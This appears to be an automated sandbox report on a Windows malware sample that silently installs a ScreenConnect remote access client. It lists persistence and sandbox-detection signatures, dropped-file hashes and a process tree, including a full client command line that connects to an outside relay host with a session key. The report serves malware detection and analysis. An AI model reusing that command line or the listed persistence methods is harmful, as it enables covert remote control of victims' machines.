Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 22:29

General

  • Target
    2026-08-15_86ceedad21a154c20c36487e0040a987_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260815-2ec1hsvcje
  • SHA256 628a221dabee0629e261718d08c4e16f986c39dea86cfedd43c6e0a049cd8983
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 7 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 32 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 38 IoCs
  • Drops file in Windows directory 39 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 49 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-15_86ceedad21a154c20c36487e0040a987_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-15_86ceedad21a154c20c36487e0040a987_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5012
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3547e1d137972a72\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4428
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3884
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BFE648F9C0B4E1A232669DA7786FBAB2 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5360
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC903.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240765328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2388
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4748
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0E753D57C8458EDF5FAEF278B3DFA721
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2700
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7257A6A6FE22C810BE82CE383B27CE79 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5728
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E03747CC3E6C6653D6732AD6574AC78C E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:356
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSIBF3E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240828375 12 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.TerminateProcesses
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:3368
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4272
    • C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.statefilerequires.com&p=8041&s=8617e50c-b744-48fc-a3ff-5cdef873f58b&k=BgIAAACkAABSU0ExAAgAAAEAAQAljDk%2b7kGudaQBrG%2fPVqsqVsUd4ghdyYLkJKtff4Ag%2b3ppx9XXRyijbNBKme4RbrIZAcey3DGpyKlsxdK9r2UKe6XY2ir0mb%2bklLj4DJ8OoGDRw0dQ%2fDBOJsnmeuGAX3R2aOCc2JXcOMMHJslN0DfkCiN6501lgFgd%2fCRTqItUgzs4jGTAVpRJzFaJ3Iq0RH4TAkrvlM8Deo3ssG9ZTf71dlukCDqPDuhlQLbMPKy4tlnwR57c7WRqd6bguzpicIsrVv0nFOzBvh8EnCrdiBkotzxJu%2fbfmT88k%2f2PlHKiBW5aZ3gd5PWKixR%2fDxJu2as79KTX8dXRPkZ14X66%2f%2by3&c=AAA&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5196
      • C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe" "RunRole" "5f997939-df38-478b-bfe4-9c3b26a4ea26" "User"
        2⤵
        • Executes dropped EXE
        PID:3040
      • C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe" "RunRole" "bc503e0f-546f-4605-a47a-242c76904e48" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1988
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ScreenConnect.ClientUninstall.vbs"
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:4244

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e5a1417.rbs

          • Path C:\Config.Msi\e5a1417.rbs
          • Size 214KB
          • SHA256 ace1d0b5a02e928ba4c0cb4c576b52d232505721615803ac3c1fe8282c39f01d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a141b.rbs

          • Path C:\Config.Msi\e5a141b.rbs
          • Size 19KB
          • SHA256 1adf866646084e2537cc77abb2f53ed7bc17f4d6e56a95e480abc8dbccdb4c5e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a141d.rbf

          • Path C:\Config.Msi\e5a141d.rbf
          • Size 59KB
          • SHA256 1404090db3128de503ba4d991a960c7c1bc3b910a62d06ecf7e7081a2fcf11b9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a141e.rbf

          • Path C:\Config.Msi\e5a141e.rbf
          • Size 79KB
          • SHA256 13f8cfe4648b807a0cbddd653c75254b60d1951e11e715f4e5a1a2c9ab29360b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.Override.en-US.resources
          • Size 361B
          • SHA256 37feffe5a7eba3667e1f1eb38db7db5b3b7d090ca6f97a20e23e5a3ba577e995
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.Override.resources
          • Size 43KB
          • SHA256 8048bcd9380b95fbfad5b6edad5b1418cfad209472da7ac23926c5956c047c22
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\app.config
          • Size 2KB
          • SHA256 0e1363deb4a78ddb673919723bfbf3b31de2b2621df2f6bfd74c91aad899beca
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3547e1d137972a72)\system.config
          • Size 955B
          • SHA256 cb5766381c551320409214290b8d574008c868dbcb591e0c0b73c4ef117b0b6e
          • MD5 SHA1 SHA512 TLSH

          MSIC903.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC903.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC903.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC903.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC903.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC903.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\3547e1d137972a72\ScreenConnect.ClientSetup.msi
          • Size 12.9MB
          • SHA256 4a6b210a87d86207c4b66eabcd26fcc7faa17508ce779e94ba7e80017ef0329d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI1ACE.tmp

          • Path C:\Windows\Installer\MSI1ACE.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CustomAction.config

          • Path C:\Windows\Installer\MSIBF3E.tmp-\CustomAction.config
          • Size 234B
          • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.ClientUninstall.vbs

          • Path C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ScreenConnect.ClientUninstall.vbs
          • Size 533B
          • SHA256 f4dae91c29c6debef340f377107329d3d49ee56a51cf1d83dcbdfd789bfb50cd
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 12e6d31dd96230634188a060a56d44cd598ce72bf676bb3e2e6af6226a35c68f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {68e1d375-5989-45e1-9c2f-50ee923a4bd1}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{68e1d375-5989-45e1-9c2f-50ee923a4bd1}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 441c1b47fec8b8e7eeed75acdd62c2488e799f5b71bb1c4e3ba9d72d793a567f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2388-36-0x0000000003E50000-0x0000000003E5A000-memory.dmp

          memory/2388-32-0x0000000003E10000-0x0000000003E3E000-memory.dmp

          memory/2388-44-0x0000000006180000-0x000000000632C000-memory.dmp

          memory/2388-40-0x0000000003F10000-0x0000000003F9C000-memory.dmp

          memory/3040-137-0x00000000029D0000-0x00000000029E8000-memory.dmp

          memory/3040-136-0x0000000000FD0000-0x0000000000FE8000-memory.dmp

          memory/3040-135-0x000000001BD80000-0x000000001BF08000-memory.dmp

          memory/3040-133-0x000000001B800000-0x000000001B88C000-memory.dmp

          memory/3040-134-0x000000001BA40000-0x000000001BBEC000-memory.dmp

          memory/3040-132-0x0000000002B20000-0x0000000002B56000-memory.dmp

          memory/3040-131-0x00000000006C0000-0x0000000000758000-memory.dmp

          memory/3368-181-0x00000000051C0000-0x0000000005226000-memory.dmp

          memory/5012-3-0x0000000074670000-0x0000000074E2C000-memory.dmp

          memory/5012-5-0x0000000001F10000-0x0000000001F32000-memory.dmp

          memory/5012-4-0x0000000005CF0000-0x0000000005D7C000-memory.dmp

          memory/5012-7-0x0000000074670000-0x0000000074E2C000-memory.dmp

          memory/5012-6-0x0000000005D80000-0x0000000005F2C000-memory.dmp

          memory/5012-8-0x0000000006990000-0x0000000006F4A000-memory.dmp

          memory/5012-9-0x0000000074670000-0x0000000074E2C000-memory.dmp

          memory/5012-10-0x0000000074670000-0x0000000074E2C000-memory.dmp

          memory/5012-2-0x0000000005FE0000-0x00000000062D2000-memory.dmp

          memory/5012-13-0x0000000074670000-0x0000000074E2C000-memory.dmp

          memory/5012-1-0x0000000001C10000-0x0000000001C18000-memory.dmp

          memory/5012-0-0x0000000074682000-0x0000000074683000-memory.dmp

          memory/5196-90-0x0000000004780000-0x0000000004798000-memory.dmp

          memory/5196-119-0x0000000004C40000-0x0000000004C81000-memory.dmp

          memory/5196-121-0x0000000004ED0000-0x0000000004FA5000-memory.dmp

          memory/5196-117-0x0000000004CE0000-0x0000000004D72000-memory.dmp

          memory/5196-116-0x0000000004A30000-0x0000000004A66000-memory.dmp

          memory/5196-112-0x00000000049E0000-0x0000000004A30000-memory.dmp